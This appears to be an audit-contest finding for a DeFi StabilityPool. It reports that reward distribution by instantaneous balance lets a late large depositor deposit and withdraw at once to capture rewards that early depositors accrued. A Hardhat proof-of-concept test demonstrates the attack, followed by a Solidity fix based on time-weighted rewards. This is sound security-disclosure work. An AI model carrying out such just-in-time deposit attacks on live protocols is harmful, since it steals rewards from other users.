Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Proportional reward distribution based on instantaneous balance enables reward stealing by late depositors

Description

The StabilityPool::calculateRaacRewards function calculates rewards proportionally to a user's current deposit relative to total deposits at calculation time. This allows late depositors to deposit large amounts and claim disproportionate rewards relative to their deposit duration. Early depositors who maintained deposits during reward accumulation periods receive reduced rewards.

Proof of Concept

Add this test to StabilityPool.test.js:

it("allows late whale to steal accumulated rewards", async function () {
// Early user deposits 100 ETH
await stabilityPool.connect(user1).deposit(ethers.parseEther("100"));
// Accumulate rewards
await ethers.provider.send("evm_increaseTime", [86400 * 30]);
await raacMinter.tick();
// User1 waits to accumuluate rewards earned in pool before deciding to withdraw
const user1PendingRewards = await stabilityPool.getPendingRewards(user1);
console.log("user1PendingRewards: ", user1PendingRewards);
// Whale deposits 1000 ETH
await crvusd.mint(user2.address, ethers.parseEther("1000"));
await crvusd
.connect(user2)
.approve(lendingPool.target, ethers.parseEther("1000"));
await lendingPool.connect(user2).deposit(ethers.parseEther("1000"));
await rToken
.connect(user2)
.approve(stabilityPool.target, ethers.parseEther("1000"));
await stabilityPool.connect(user2).deposit(ethers.parseEther("1000"));
// Whale immediately withdraws
await stabilityPool.connect(user2).withdraw(ethers.parseEther("1000"));
// Whale gets most of the existing rewards despite 0 time deposited
const currentPoolRewards = await raacToken.balanceOf(stabilityPool.target);
expect(currentPoolRewards).to.be.lt(user1PendingRewards);
});

Impact

High severity. This vulnerability allows strategic actors to extract rewards disproportionately to their time-weighted contribution, undermining the incentive structure for long-term depositors. Protocol rewards could be drained by malicious users through timing attacks.

Recommendation

  1. Time-weighted rewards: Implement reward accumulation tracking with rewardPerTokenStored:

contracts/core/pools/StabilityPool/StabilityPool.sol
+ uint256 public rewardPerTokenStored;
+ mapping(address => uint256) public userRewardPerTokenPaid;
+ mapping(address => uint256) public rewards;
function _updateReward(address user) internal {
+ rewardPerTokenStored = rewardPerToken();
+ lastUpdate = block.timestamp;
+ if (user != address(0)) {
+ rewards[user] = earned(user);
+ userRewardPerTokenPaid[user] = rewardPerTokenStored;
+ }
}
function earned(address user) public view returns (uint256) {
+ return (userDeposits[user] *
+ (rewardPerToken() - userRewardPerTokenPaid[user]))
+ / 1e18 + rewards[user];
}
  1. Snapshot rewards on deposit/withdraw: Modify deposit/withdraw to update rewards:

function deposit(uint256 amount) external {
+ _updateReward(msg.sender);
// ... existing logic ...
}
function withdraw(uint256 amount) external {
+ _updateReward(msg.sender);
// ... existing logic ...
}
  1. Linear reward distribution: Calculate rewards based on time-weighted average balance:

function rewardPerToken() public view returns (uint256) {
if (deToken.totalSupply() == 0) return rewardPerTokenStored;
uint256 timeElapsed = block.timestamp - lastUpdate;
return rewardPerTokenStored +
(timeElapsed * raacToken.emissionRate() * 1e18)
/ deToken.totalSupply();
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Validated
Assigned finding tags:

StabilityPool::calculateRaacRewards is vulnerable to just in time deposits

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!